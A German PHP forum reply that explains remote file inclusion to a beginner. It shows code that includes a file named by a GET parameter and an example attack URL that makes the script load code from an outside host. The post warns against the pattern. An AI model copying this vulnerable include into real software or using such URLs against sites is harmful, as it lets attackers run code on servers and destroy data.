Werd' gleich mal beides ausprobieren. Was ist an der Zeile soo unsicher?! (Ich fang gerdade erst mit PHP an...)
Oh oh
Musst noch viel lernen ;-)
Stell dir mal folgendes Szenario vor:
Deine Seite ist auf http://www.testing.de/seite.php zu finden.
Nun seine Links so:
<a href="seite.php?inhalt=seite2">Seite 2</a>
Dein PHP Script erhält dann folgende Daten:
$_GET['inhalt'] = "seite2";
du machst daraus:
$inhalt = $_GET['inhalt'];
so nun kommt deine "Logik" ins Spiel
<?php
if (empty($_GET["inhalt"])) {
include("link0.php");
} else {
include($inhalt.".php");
} // Ich hab mal deine Code n bissl gesäubert ;-)
?>
So weit so gut...
Nun kommt aber der böse User !
Und der geht nicht auf diese Seite:
http://www.testing.de/seite.php?inhalt=seite2
sondern er ruft diese Seite auf:
http://www.testing.de/seite.php?inhalt=http://www.masterhacking.de/hacker
nun bekommt dein Script diese Daten:
$_GET['inhalt'] = "http://www.masterhacking.de/hacker";
folglich wird
if (empty($_GET["inhalt"])) {
include("link0.php");
}
_NICHT_ ausgeführt...
somit kommt er dann in den else-Zweig:
include($inhalt.".php");
ABER (und nun kommt das unsichere)
er includet ja nicht seite2.php
SONDERN !
http://www.masterhacking.de/hacker.php !
Und in dieser Datei kann stehen, was will !
---> Darauf hast du absolut keine Einfluss... der könnte dir evtl. deine _komplette_ Datenbank ausleeren, oder _alle_ anderen PHP Dateien löschen, die er findet oder was weiß ich was...
Ich hoffe ich habe dich in dieser Beziehung nun abgehärtet ;)
Um das noch zu vertiefen, lade dir doch mal diese Datei runter:
http://www.johannes-leimer.de/php.ppt